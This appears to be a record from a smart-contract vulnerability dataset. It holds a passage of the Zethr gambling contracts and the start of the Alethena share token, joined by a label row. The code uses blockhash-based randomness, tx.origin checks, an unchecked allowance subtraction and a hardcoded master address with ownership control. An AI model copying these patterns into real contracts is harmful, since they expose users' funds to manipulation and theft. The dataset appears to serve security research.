if (icoPhase || currentEthInvested < ethInvestedDuringICO) {
price = tokenPriceInitial_;
} else {
uint tokensReceivedForEth = ethereumToTokens_(0.001 ether);
price = (1e18 * 0.001 ether) / tokensReceivedForEth;
}
uint theSellPrice = price.sub((price.mul(getUserAverageDividendRate(msg.sender)).div(100)).div(magnitude));
return theSellPrice;
}
function buyPrice(uint dividendRate)
public
view
returns (uint)
{
uint price;
if (icoPhase || currentEthInvested < ethInvestedDuringICO) {
price = tokenPriceInitial_;
} else {
uint tokensReceivedForEth = ethereumToTokens_(0.001 ether);
price = (1e18 * 0.001 ether) / tokensReceivedForEth;
}
uint theBuyPrice = (price.mul(dividendRate).div(100)).add(price);
return theBuyPrice;
}
function calculateTokensReceived(uint _ethereumToSpend)
public
view
returns (uint)
{
uint _dividends = (_ethereumToSpend.mul(userDividendRate[msg.sender])).div(100);
uint _taxedEthereum = _ethereumToSpend.sub(_dividends);
uint _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint _tokensToSell)
public
view
returns (uint)
{
require(_tokensToSell <= tokenSupply);
uint _ethereum = tokensToEthereum_(_tokensToSell);
uint userAverageDividendRate = getUserAverageDividendRate(msg.sender);
uint _dividends = (_ethereum.mul(userAverageDividendRate).div(100)).div(magnitude);
uint _taxedEthereum = _ethereum.sub(_dividends);
return _taxedEthereum;
}
function getUserAverageDividendRate(address user) public view returns (uint) {
return (magnitude * dividendTokenBalanceLedger_[user]).div(frontTokenBalanceLedger_[user]);
}
function getMyAverageDividendRate() public view returns (uint) {
return getUserAverageDividendRate(msg.sender);
}
function purchaseTokens(uint _incomingEthereum, address _referredBy)
internal
returns (uint)
{
require(_incomingEthereum >= MIN_ETH_BUYIN || msg.sender == bankrollAddress, "Tried to buy below the min eth buyin threshold.");
uint toBankRoll;
uint toReferrer;
uint toTokenHolders;
uint toDivCardHolders;
uint dividendAmount;
uint tokensBought;
uint dividendTokensBought;
uint remainingEth = _incomingEthereum;
uint fee;
if (regularPhase) {
toDivCardHolders = _incomingEthereum.div(100);
remainingEth = remainingEth.sub(toDivCardHolders);
}
uint dividendRate = userDividendRate[msg.sender];
dividendAmount = (remainingEth.mul(dividendRate)).div(100);
remainingEth = remainingEth.sub(dividendAmount);
if (icoPhase && msg.sender == bankrollAddress) {
remainingEth = remainingEth + dividendAmount;
}
tokensBought = ethereumToTokens_(remainingEth);
dividendTokensBought = tokensBought.mul(dividendRate);
tokenSupply = tokenSupply.add(tokensBought);
divTokenSupply = divTokenSupply.add(dividendTokensBought);
currentEthInvested = currentEthInvested + remainingEth;
if (icoPhase) {
toBankRoll = dividendAmount;
if (msg.sender == bankrollAddress) {
toBankRoll = 0;
}
toReferrer = 0;
toTokenHolders = 0;
ethInvestedDuringICO = ethInvestedDuringICO + remainingEth;
tokensMintedDuringICO = tokensMintedDuringICO + tokensBought;
require(ethInvestedDuringICO <= icoHardCap);
require(tx.origin == msg.sender || msg.sender == bankrollAddress);
ICOBuyIn[msg.sender] += remainingEth;
if (ethInvestedDuringICO == icoHardCap) {
icoPhase = false;
}
} else {
if (_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != msg.sender &&
frontTokenBalanceLedger_[_referredBy] >= stakingRequirement)
{
toReferrer = (dividendAmount.mul(referrer_percentage)).div(100);
referralBalance_[_referredBy] += toReferrer;
emit Referral(_referredBy, toReferrer);
}
toTokenHolders = dividendAmount.sub(toReferrer);
fee = toTokenHolders * magnitude;
fee = fee - (fee - (dividendTokensBought * (toTokenHolders * magnitude / (divTokenSupply))));
profitPerDivToken = profitPerDivToken.add((toTokenHolders.mul(magnitude)).div(divTokenSupply));
payoutsTo_[msg.sender] += (int256) ((profitPerDivToken * dividendTokensBought) - fee);
}
frontTokenBalanceLedger_[msg.sender] = frontTokenBalanceLedger_[msg.sender].add(tokensBought);
dividendTokenBalanceLedger_[msg.sender] = dividendTokenBalanceLedger_[msg.sender].add(dividendTokensBought);
if (toBankRoll != 0) {ZethrBankroll(bankrollAddress).receiveDividends.value(toBankRoll)();}
if (regularPhase) {divCardContract.receiveDividends.value(toDivCardHolders)(dividendRate);}
emit Allocation(toBankRoll, toReferrer, toTokenHolders, toDivCardHolders, remainingEth);
uint sum = toBankRoll + toReferrer + toTokenHolders + toDivCardHolders + remainingEth - _incomingEthereum;
assert(sum == 0);
}
function ethereumToTokens_(uint _ethereumAmount)
public
view
returns (uint)
{
require(_ethereumAmount > MIN_ETH_BUYIN, "Tried to buy tokens with too little eth.");
if (icoPhase) {
return _ethereumAmount.div(tokenPriceInitial_) * 1e18;
}
uint ethTowardsICOPriceTokens = 0;
uint ethTowardsVariablePriceTokens = 0;
if (currentEthInvested >= ethInvestedDuringICO) {
ethTowardsVariablePriceTokens = _ethereumAmount;
} else if (currentEthInvested < ethInvestedDuringICO && currentEthInvested + _ethereumAmount <= ethInvestedDuringICO) {
ethTowardsICOPriceTokens = _ethereumAmount;
} else if (currentEthInvested < ethInvestedDuringICO && currentEthInvested + _ethereumAmount > ethInvestedDuringICO) {
ethTowardsICOPriceTokens = ethInvestedDuringICO.sub(currentEthInvested);
ethTowardsVariablePriceTokens = _ethereumAmount.sub(ethTowardsICOPriceTokens);
} else {
revert();
}
assert(ethTowardsICOPriceTokens + ethTowardsVariablePriceTokens == _ethereumAmount);
uint icoPriceTokens = 0;
uint varPriceTokens = 0;
if (ethTowardsICOPriceTokens != 0) {
icoPriceTokens = ethTowardsICOPriceTokens.mul(1e18).div(tokenPriceInitial_);
}
if (ethTowardsVariablePriceTokens != 0) {
uint simulatedEthBeforeInvested = toPowerOfThreeHalves(tokenSupply.div(MULTIPLIER * 1e6)).mul(2).div(3) + ethTowardsICOPriceTokens;
uint simulatedEthAfterInvested = simulatedEthBeforeInvested + ethTowardsVariablePriceTokens;
uint tokensBefore = toPowerOfTwoThirds(simulatedEthBeforeInvested.mul(3).div(2)).mul(MULTIPLIER);
uint tokensAfter = toPowerOfTwoThirds(simulatedEthAfterInvested.mul(3).div(2)).mul(MULTIPLIER);
varPriceTokens = (1e6) * tokensAfter.sub(tokensBefore);
}
uint totalTokensReceived = icoPriceTokens + varPriceTokens;
assert(totalTokensReceived > 0);
return totalTokensReceived;
}
function tokensToEthereum_(uint _tokens)
public
view
returns (uint)
{
require(_tokens >= MIN_TOKEN_SELL_AMOUNT, "Tried to sell too few tokens.");
uint tokensToSellAtICOPrice = 0;
uint tokensToSellAtVariablePrice = 0;
if (tokenSupply <= tokensMintedDuringICO) {
tokensToSellAtICOPrice = _tokens;
} else if (tokenSupply > tokensMintedDuringICO && tokenSupply - _tokens >= tokensMintedDuringICO) {
tokensToSellAtVariablePrice = _tokens;
} else if (tokenSupply > tokensMintedDuringICO && tokenSupply - _tokens < tokensMintedDuringICO) {
tokensToSellAtVariablePrice = tokenSupply.sub(tokensMintedDuringICO);
tokensToSellAtICOPrice = _tokens.sub(tokensToSellAtVariablePrice);
} else {
revert();
}
assert(tokensToSellAtVariablePrice + tokensToSellAtICOPrice == _tokens);
uint ethFromICOPriceTokens;
uint ethFromVarPriceTokens;
if (tokensToSellAtICOPrice != 0) {
ethFromICOPriceTokens = tokensToSellAtICOPrice.mul(tokenPriceInitial_).div(1e18);
}
if (tokensToSellAtVariablePrice != 0) {
uint investmentBefore = toPowerOfThreeHalves(tokenSupply.div(MULTIPLIER * 1e6)).mul(2).div(3);
uint investmentAfter = toPowerOfThreeHalves((tokenSupply - tokensToSellAtVariablePrice).div(MULTIPLIER * 1e6)).mul(2).div(3);
ethFromVarPriceTokens = investmentBefore.sub(investmentAfter);
}
uint totalEthReceived = ethFromVarPriceTokens + ethFromICOPriceTokens;
assert(totalEthReceived > 0);
return totalEthReceived;
}
function transferFromInternal(address _from, address _toAddress, uint _amountOfTokens, bytes _data)
internal
{
require(regularPhase);
require(_toAddress != address(0x0));
address _customerAddress = _from;
uint _amountOfFrontEndTokens = _amountOfTokens;
if (theDividendsOf(true, _customerAddress) > 0) withdrawFrom(_customerAddress);
uint _amountOfDivTokens = _amountOfFrontEndTokens.mul(getUserAverageDividendRate(_customerAddress)).div(magnitude);
if (_customerAddress != msg.sender) {
allowed[_customerAddress][msg.sender] -= _amountOfTokens;
}
frontTokenBalanceLedger_[_customerAddress] = frontTokenBalanceLedger_[_customerAddress].sub(_amountOfFrontEndTokens);
frontTokenBalanceLedger_[_toAddress] = frontTokenBalanceLedger_[_toAddress].add(_amountOfFrontEndTokens);
dividendTokenBalanceLedger_[_customerAddress] = dividendTokenBalanceLedger_[_customerAddress].sub(_amountOfDivTokens);
dividendTokenBalanceLedger_[_toAddress] = dividendTokenBalanceLedger_[_toAddress].add(_amountOfDivTokens);
if (!userSelectedRate[_toAddress])
{
userSelectedRate[_toAddress] = true;
userDividendRate[_toAddress] = userDividendRate[_customerAddress];
}
payoutsTo_[_customerAddress] -= (int256) (profitPerDivToken * _amountOfDivTokens);
payoutsTo_[_toAddress] += (int256) (profitPerDivToken * _amountOfDivTokens);
uint length;
assembly {
length := extcodesize(_toAddress)
}
if (length > 0) {
ERC223Receiving receiver = ERC223Receiving(_toAddress);
receiver.tokenFallback(_from, _amountOfTokens, _data);
}
emit Transfer(_customerAddress, _toAddress, _amountOfFrontEndTokens);
}
function withdrawFrom(address _customerAddress)
internal
{
uint _dividends = theDividendsOf(false, _customerAddress);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function injectEther()
public
payable
onlyAdministrator
{
}
function toPowerOfThreeHalves(uint x) public pure returns (uint) {
return sqrt(x ** 3);
}
function toPowerOfTwoThirds(uint x) public pure returns (uint) {
return cbrt(x ** 2);
}
function sqrt(uint x) public pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
function cbrt(uint x) public pure returns (uint y) {
uint z = (x + 1) / 3;
y = x;
while (z < y) {
y = z;
z = (x / (z * z) + 2 * z) / 3;
}
}
}
contract ZethrBankroll {
function receiveDividends() public payable {}
}
contract JackpotHolding is ERC223Receiving {
uint public payOutNumber = 0;
uint public payOutDivisor = 2;
ZethrBankrollControllerInterface controller;
Zethr zethr;
constructor (address _controllerAddress, address _zethrAddress) public {
controller = ZethrBankrollControllerInterface(_controllerAddress);
zethr = Zethr(_zethrAddress);
}
function() public payable {}
function tokenFallback(address , uint , bytes)
public
returns (bool)
{
}
function getJackpotBalance()
public view
returns (uint)
{
uint tempBalance;
for (uint i=0; i<7; i++) {
tempBalance += controller.tokenBankrolls(i).jackpotBalance() > 0 ? controller.tokenBankrolls(i).jackpotBalance() / payOutDivisor : 0;
}
tempBalance += zethr.balanceOf(address(this)) > 0 ? zethr.balanceOf(address(this)) / payOutDivisor : 0;
return tempBalance;
}
function ownerSetPayOutDivisor(uint _divisor)
public
ownerOnly
{
require(_divisor != 0);
payOutDivisor = _divisor;
}
function ownerSetControllerAddress(address _controllerAddress)
public
ownerOnly
{
controller = ZethrBankrollControllerInterface(_controllerAddress);
}
function ownerWithdrawZth(address _to)
public
ownerOnly
{
uint balance = zethr.balanceOf(address(this));
zethr.transfer(_to, balance);
}
function ownerWithdrawEth(address _to)
public
ownerOnly
{
_to.transfer(address(this).balance);
}
function gamePayOutWinner(address _winner)
public
gameOnly
{
for (uint i=0; i<7; i++) {
controller.tokenBankrolls(i).payJackpotToWinner(_winner, payOutDivisor);
}
uint payOutAmount;
if (zethr.balanceOf(address(this)) >= 1e10) {
payOutAmount = zethr.balanceOf(address(this)) / payOutDivisor;
}
if (payOutAmount >= 1e10) {
zethr.transfer(_winner, payOutAmount);
}
payOutNumber += 1;
emit JackpotPayOut(_winner, payOutNumber);
}
event JackpotPayOut(
address winner,
uint payOutNumber
);
modifier ownerOnly()
{
require(msg.sender == address(controller) || controller.multiSigWallet().isOwner(msg.sender));
_;
}
modifier gameOnly()
{
require(controller.validGameAddresses(msg.sender));
_;
}
}
contract ZethrGame {
using SafeMath for uint;
using SafeMath for uint56;
event Result (address player, uint amountWagered, int amountOffset);
event Wager (address player, uint amount, bytes data);
address[] pendingBetsQueue;
uint queueHead = 0;
uint queueTail = 0;
mapping(address => BetBase) bets;
struct BetBase {
uint56 tokenValue;
uint48 blockNumber;
uint8 tier;
}
mapping(address => uint) pendingBetsMapping;
ZethrBankrollControllerInterface controller;
bool paused;
uint minBet = 1e18;
uint resolverPercentage;
string gameName;
constructor (address _controllerAddress, uint _resolverPercentage, string _name) public {
controller = ZethrBankrollControllerInterface(_controllerAddress);
resolverPercentage = _resolverPercentage;
gameName = _name;
}
function getMaxProfit()
public view
returns (uint)
{
return ZethrTokenBankrollInterface(msg.sender).getMaxProfit(address(this));
}
function ownerPauseGame()
public
ownerOnly
{
paused = true;
}
function ownerResumeGame()
public
ownerOnly
{
paused = false;
}
function ownerSetResolverPercentage(uint _percentage)
public
ownerOnly
{
require(_percentage <= 1000000);
resolverPercentage = _percentage;
}
function ownerSetControllerAddress(address _controllerAddress)
public
ownerOnly
{
controller = ZethrBankrollControllerInterface(_controllerAddress);
}
function ownerSetGameName(string _name)
ownerOnly
public
{
gameName = _name;
}
function getGameName()
public view
returns (string)
{
return gameName;
}
function resolveExpiredBets(uint _numToResolve)
public
returns (uint tokensEarned_, uint queueHead_)
{
uint mQueue = queueHead;
uint head;
uint tail = (mQueue + _numToResolve) > pendingBetsQueue.length ? pendingBetsQueue.length : (mQueue + _numToResolve);
uint tokensEarned = 0;
for (head = mQueue; head < tail; head++) {
if (pendingBetsQueue[head] == address(0x0)) {
continue;
}
if (bets[pendingBetsQueue[head]].blockNumber != 0 && block.number > 256 + bets[pendingBetsQueue[head]].blockNumber) {
int sum = - finishBetFrom(pendingBetsQueue[head]);
if (sum > 0) {
tokensEarned += (uint(sum).mul(resolverPercentage)).div(1000000);
}
} else {
break;
}
}
queueHead = head;
if (tokensEarned >= 1e14) {
controller.gamePayoutResolver(msg.sender, tokensEarned);
}
return (tokensEarned, head);
}
function finishBet()
public
hasNotBetThisBlock(msg.sender)
returns (int)
{
return finishBetFrom(msg.sender);
}
function maxRandom(uint _blockn, address _entropy, uint _index)
private view
returns (uint256 randomNumber)
{
return uint256(keccak256(
abi.encodePacked(
blockhash(_blockn),
_entropy,
_index
)));
}
function random(uint256 _upper, uint256 _blockn, address _entropy, uint _index)
internal view
returns (uint256 randomNumber)
{
return maxRandom(_blockn, _entropy, _index) % _upper;
}
modifier hasNotBetThisBlock(address _sender)
{
require(bets[_sender].blockNumber != block.number);
_;
}
modifier bankrollOnly {
require(controller.isTokenBankroll(msg.sender));
_;
}
modifier isNotPaused {
require(!paused);
_;
}
modifier betIsValid(uint _betSize, uint _tier, bytes _data) {
uint divRate = ZethrTierLibrary.getDivRate(_tier);
require(isBetValid(_betSize, divRate, _data));
_;
}
modifier ownerOnly()
{
require(msg.sender == address(controller) || controller.multiSigWallet().isOwner(msg.sender));
_;
}
function execute(address _player, uint _tokenCount, uint _divRate, bytes _data) public;
function finishBetFrom(address _playerAddress) internal returns (int);
function isBetValid(uint _tokenCount, uint _divRate, bytes _data) public view returns (bool);
}
contract ZethrBigWheel is ZethrGame {
using SafeMath for uint8;
struct Bet {
uint56 tokenValue;
uint48 blockNumber;
uint8 tier;
uint bets;
}
JackpotHolding public jackpotHoldingContract;
constructor (address _controllerAddress, uint _resolverPercentage, string _name)
ZethrGame(_controllerAddress, _resolverPercentage, _name)
public
{
}
function getLastSpinOutput(address _playerAddress)
public view
returns (uint winAmount, uint lossAmount, uint jackpotAmount, uint jackpotWins, uint output)
{
Bet storage playerBetInStorage = getBet(_playerAddress);
Bet memory playerBet = playerBetInStorage;
require(playerBet.blockNumber != 0);
(winAmount, lossAmount, jackpotAmount, jackpotWins, output) = getSpinOutput(playerBet.blockNumber, _playerAddress, playerBet.bets);
return (winAmount, lossAmount, jackpotAmount, jackpotWins, output);
}
event WheelResult(
uint _blockNumber,
address _target,
uint40[5] _bets,
uint _winAmount,
uint _lossAmount,
uint _winCategory
);
function getSpinOutput(uint _blockNumber, address _target, uint _bets_notconverted)
public view
returns (uint winAmount, uint lossAmount, uint jackpotAmount, uint jackpotWins, uint output)
{
uint40[5] memory _bets = uintToBetsArray(_bets_notconverted);
uint result;
if (block.number - _blockNumber > 255) {
result = 999997;
} else {
result = random(999996, _blockNumber, _target, 0) + 1;
}
uint[5] memory betsMul;
betsMul[0] = uint(_bets[0]).mul(1e14);
betsMul[1] = uint(_bets[1]).mul(1e14);
betsMul[2] = uint(_bets[2]).mul(1e14);
betsMul[3] = uint(_bets[3]).mul(1e14);
betsMul[4] = uint(_bets[4]).mul(1e14);
lossAmount = betsMul[0] + betsMul[1] + betsMul[2] + betsMul[3] + betsMul[4];
uint _winCategory = 0;
if (result < 2) {
jackpotWins++;
_winCategory = 99;
} else {
if (result < 27028) {
if (betsMul[4] > 0) {
_winCategory = 25;
winAmount = SafeMath.mul(betsMul[4], 25);
lossAmount -= betsMul[4];
}
} else if (result < 108108) {
if (betsMul[3] > 0) {
_winCategory = 10;
winAmount = SafeMath.mul(betsMul[3], 10);
lossAmount -= betsMul[3];
}
} else if (result < 270269) {
if (betsMul[2] > 0) {
_winCategory = 6;
winAmount = SafeMath.mul(betsMul[2], 6);
lossAmount -= betsMul[2];
}
} else if (result < 513512) {
if (betsMul[1] > 0) {
_winCategory = 4;
winAmount = SafeMath.mul(betsMul[1], 4);
lossAmount -= betsMul[1];
}
} else if (result < 999997) {
if (betsMul[0] > 0) {
_winCategory = 2;
winAmount = SafeMath.mul(betsMul[0], 2);
lossAmount -= betsMul[0];
}
}
jackpotAmount = lossAmount.div(100);
lossAmount -= jackpotAmount;
}
emit WheelResult(_blockNumber, _target, _bets, winAmount, lossAmount, _winCategory);
return (winAmount, lossAmount, jackpotAmount, jackpotWins, result);
}
function getSpinResults(uint _blockNumber, address _target, uint _bets)
public
returns (uint winAmount, uint lossAmount, uint jackpotAmount, uint jackpotWins)
{
(winAmount, lossAmount, jackpotAmount, jackpotWins,) = getSpinOutput(_blockNumber, _target, _bets);
}
function ownerSetJackpotAddress(address _jackpotAddress)
public
ownerOnly
{
jackpotHoldingContract = JackpotHolding(_jackpotAddress);
}
function getBet(address _playerAddress)
internal view
returns (Bet storage)
{
BetBase storage betBase = bets[_playerAddress];
Bet storage playerBet;
assembly {
let tmp := betBase_slot
swap1
}
return playerBet;
}
function maxRandom(uint _blockn, address _entropy, uint _index)
private view
returns (uint256 randomNumber)
{
return uint256(keccak256(
abi.encodePacked(
blockhash(_blockn),
_entropy,
_index
)));
}
function random(uint256 _upper, uint256 _blockn, address _entropy, uint _index)
internal view
returns (uint256 randomNumber)
{
return maxRandom(_blockn, _entropy, _index) % _upper;
}
function finishBetFrom(address _playerAddress)
internal
returns (int )
{
uint winAmount;
uint lossAmount;
uint jackpotAmount;
uint jackpotWins;
Bet storage playerBetInStorage = getBet(_playerAddress);
Bet memory playerBet = playerBetInStorage;
require(playerBet.blockNumber != 0);
require(playerBet.blockNumber != 0);
playerBetInStorage.blockNumber = 0;
(winAmount, lossAmount, jackpotAmount, jackpotWins) = getSpinResults(playerBet.blockNumber, _playerAddress, playerBet.bets);
address tokenBankrollAddress = controller.getTokenBankrollAddressFromTier(playerBet.tier);
ZethrTokenBankrollInterface bankroll = ZethrTokenBankrollInterface(tokenBankrollAddress);
bankroll.gameTokenResolution(winAmount, _playerAddress, jackpotAmount, address(jackpotHoldingContract), playerBet.tokenValue.mul(1e14));
if (jackpotWins > 0) {
for (uint x = 0; x < jackpotWins; x++) {
jackpotHoldingContract.gamePayOutWinner(_playerAddress);
}
}
uint index = pendingBetsMapping[_playerAddress];
pendingBetsQueue[index] = address(0x0);
pendingBetsMapping[_playerAddress] = 0;
emit Result(_playerAddress, playerBet.tokenValue.mul(1e14), int(winAmount) - int(lossAmount) - int(jackpotAmount));
return (int(winAmount) - int(lossAmount) - int(jackpotAmount));
}
function execute(address _player, uint _tokenCount, uint _tier, bytes _data)
isNotPaused
bankrollOnly
betIsValid(_tokenCount, _tier, _data)
hasNotBetThisBlock(_player)
public
{
Bet storage playerBet = getBet(_player);
if (playerBet.blockNumber != 0) {
finishBetFrom(_player);
}
playerBet.tokenValue = uint56(_tokenCount.div(1e14));
playerBet.blockNumber = uint48(block.number);
playerBet.tier = uint8(_tier);
require(_data.length == 32);
uint actual_data;
assembly{
actual_data := mload(add(_data, 0x20))
}
playerBet.bets = actual_data;
uint40[5] memory actual_bets = uintToBetsArray(actual_data);
require((uint(actual_bets[0]) + uint(actual_bets[1]) + uint(actual_bets[2]) + uint(actual_bets[3]) + uint(actual_bets[4])).mul(1e14) == _tokenCount);
pendingBetsQueue.length++;
pendingBetsQueue[queueTail] = _player;
queueTail++;
pendingBetsMapping[_player] = queueTail - 1;
emit Wager(_player, _tokenCount, _data);
}
function isBetValid(uint , uint , bytes _data)
public view
returns (bool)
{
uint actual_data;
assembly{
actual_data := mload(add(_data, 0x20))
}
uint40[5] memory bets = uintToBetsArray(actual_data);
uint bet2Max = bets[0] * 2;
uint bet4Max = bets[1] * 4;
uint bet6Max = bets[2] * 6;
uint bet10Max = bets[3] * 10;
uint bet25Max = bets[4] * 25;
uint max = bet2Max;
if (bet4Max > max) {
max = bet4Max;
}
if (bet6Max > max) {
max = bet6Max;
}
if (bet10Max > max) {
max = bet10Max;
}
if (bet25Max > max) {
max = bet25Max;
}
uint minBetDiv = minBet.div(1e14);
return (max*1e14 <= getMaxProfit())
&& ((bets[0]) >= minBetDiv || (bets[0]) == 0)
&& ((bets[1]) >= minBetDiv || (bets[1]) == 0)
&& ((bets[2]) >= minBetDiv || (bets[2]) == 0)
&& ((bets[3]) >= minBetDiv || (bets[3]) == 0)
&& ((bets[4]) >= minBetDiv || (bets[4]) == 0);
}
function betInputToBytes(uint40 bet1, uint40 bet2, uint40 bet3, uint40 bet4, uint40 bet5) pure public returns (bytes32){
bytes memory concat = (abi.encodePacked(uint56(0), bet1, bet2, bet3, bet4, bet5));
bytes32 output;
assembly{
output := mload(add(concat, 0x20))
}
return output;
}
function uintToBetsArray(uint input) public view returns (uint40[5]){
uint40[5] memory output;
uint trackme = (input);
for (uint i=4;; i--){
output[i] = uint40(trackme);
trackme /= 0x0000000000000000000000000000000000000000000000000000010000000000;
if (i==0){
break;
}
}
return output;
}
function getPlayerBetData(address player) public view returns(uint40[5]){
uint betData = getBet(player).bets;
return (uintToBetsArray(betData));
}
} | 1 | 5,327 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable {
address public owner;
address public master = 0x8fED3492dB590ad34ed42b0F509EB3c9626246Fc;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public {
require(msg.sender == master);
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Claimable is ERC20Basic, Ownable {
using SafeMath for uint256;
struct Claim {
address claimant;
uint256 collateral;
uint256 timestamp;
}
struct PreClaim {
bytes32 msghash;
uint256 timestamp;
}
uint256 public collateralRate = 5*10**15 wei;
uint256 public claimPeriod = 60*60*24*180;
uint256 public preClaimPeriod = 60*60*24;
mapping(address => Claim) public claims;
mapping(address => PreClaim) public preClaims;
function setClaimParameters(uint256 _collateralRateInWei, uint256 _claimPeriodInDays) public onlyOwner() {
uint256 claimPeriodInSeconds = _claimPeriodInDays*60*60*24;
require(_collateralRateInWei > 0);
require(_claimPeriodInDays > 90);
collateralRate = _collateralRateInWei;
claimPeriod = claimPeriodInSeconds;
emit ClaimParametersChanged(collateralRate, claimPeriod);
}
event ClaimMade(address indexed _lostAddress, address indexed _claimant, uint256 _balance);
event ClaimPrepared(address indexed _claimer);
event ClaimCleared(address indexed _lostAddress, uint256 collateral);
event ClaimDeleted(address indexed _lostAddress, address indexed _claimant, uint256 collateral);
event ClaimResolved(address indexed _lostAddress, address indexed _claimant, uint256 collateral);
event ClaimParametersChanged(uint256 _collateralRate, uint256 _claimPeriodInDays);
function prepareClaim(bytes32 _hashedpackage) public{
preClaims[msg.sender] = PreClaim({
msghash: _hashedpackage,
timestamp: block.timestamp
});
emit ClaimPrepared(msg.sender);
}
function validateClaim(address _lostAddress, bytes32 _nonce) private view returns (bool){
PreClaim memory preClaim = preClaims[msg.sender];
require(preClaim.msghash != 0);
require(preClaim.timestamp + preClaimPeriod <= block.timestamp);
require(preClaim.timestamp + 2*preClaimPeriod >= block.timestamp);
return preClaim.msghash == keccak256(abi.encodePacked(_nonce, msg.sender, _lostAddress));
}
function declareLost(address _lostAddress, bytes32 _nonce) public payable{
uint256 balance = balanceOf(_lostAddress);
require(balance > 0);
require(msg.value >= balance.mul(collateralRate));
require(claims[_lostAddress].collateral == 0);
require(validateClaim(_lostAddress, _nonce));
claims[_lostAddress] = Claim({
claimant: msg.sender,
collateral: msg.value,
timestamp: block.timestamp
});
delete preClaims[msg.sender];
emit ClaimMade(_lostAddress, msg.sender, balance);
}
function getClaimant(address _lostAddress) public view returns (address){
return claims[_lostAddress].claimant;
}
function getCollateral(address _lostAddress) public view returns (uint256){
return claims[_lostAddress].collateral;
}
function getTimeStamp(address _lostAddress) public view returns (uint256){
return claims[_lostAddress].timestamp;
}
function getPreClaimTimeStamp(address _claimerAddress) public view returns (uint256){
return preClaims[_claimerAddress].timestamp;
}
function getMsgHash(address _claimerAddress) public view returns (bytes32){
return preClaims[_claimerAddress].msghash;
}
function clearClaim() public returns (uint256){
uint256 collateral = claims[msg.sender].collateral;
if (collateral != 0){
delete claims[msg.sender];
msg.sender.transfer(collateral);
emit ClaimCleared(msg.sender, collateral);
return collateral;
} else {
return 0;
}
}
function resolveClaim(address _lostAddress) public returns (uint256){
Claim memory claim = claims[_lostAddress];
require(claim.collateral != 0, "No claim found");
require(claim.claimant == msg.sender);
require(claim.timestamp + claimPeriod <= block.timestamp);
address claimant = claim.claimant;
delete claims[_lostAddress];
claimant.transfer(claim.collateral);
internalTransfer(_lostAddress, claimant, balanceOf(_lostAddress));
emit ClaimResolved(_lostAddress, claimant, claim.collateral);
return claim.collateral;
}
function internalTransfer(address _from, address _to, uint256 _value) internal;
function deleteClaim(address _lostAddress) public onlyOwner(){
Claim memory claim = claims[_lostAddress];
require(claim.collateral != 0, "No claim found");
delete claims[_lostAddress];
claim.claimant.transfer(claim.collateral);
emit ClaimDeleted(_lostAddress, claim.claimant, claim.collateral);
}
}
contract AlethenaShares is ERC20, Claimable {
string public constant name = "Alethena Equity";
string public constant symbol = "ALEQ";
uint8 public constant decimals = 0;
using SafeMath for uint256;
string public constant termsAndConditions = "shares.alethena.com";
mapping(address => uint256) balances;
uint256 totalSupply_;
uint256 totalShares_ = 1397188;
event Mint(address indexed shareholder, uint256 amount, string message);
event Unmint(uint256 amount, string message);
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function totalShares() public view returns (uint256) {
return totalShares_;
}
function setTotalShares(uint256 _newTotalShares) public onlyOwner() {
require(_newTotalShares >= totalSupply());
totalShares_ = _newTotalShares;
}
function mint(address shareholder, uint256 _amount, string _message) public onlyOwner() {
require(_amount > 0);
require(totalSupply_.add(_amount) <= totalShares_);
balances[shareholder] = balances[shareholder].add(_amount);
totalSupply_ = totalSupply_ + _amount;
emit Mint(shareholder, _amount, _message);
}
function unmint(uint256 _amount, string _message) public onlyOwner() {
require(_amount > 0);
require(_amount <= balanceOf(owner));
balances[owner] = balances[owner].sub(_amount);
totalSupply_ = totalSupply_ - _amount;
emit Unmint(_amount, _message);
}
bool public isPaused = false;
function pause(bool _pause, string _message, address _newAddress, uint256 _fromBlock) public onlyOwner() {
isPaused = _pause;
emit Pause(_pause, _message, _newAddress, _fromBlock);
}
event Pause(bool paused, string message, address newAddress, uint256 fromBlock);
function transfer(address _to, uint256 _value) public returns (bool) {
clearClaim();
internalTransfer(msg.sender, _to, _value);
return true;
}
function internalTransfer(address _from, address _to, uint256 _value) internal {
require(!isPaused);
require(_to != address(0));
require(_value <= balances[_from]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_value <= allowed[_from][msg.sender]);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
internalTransfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require(!isPaused);
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
event Approval(address approver, address spender, uint256 value);
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool) {
require(!isPaused);
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
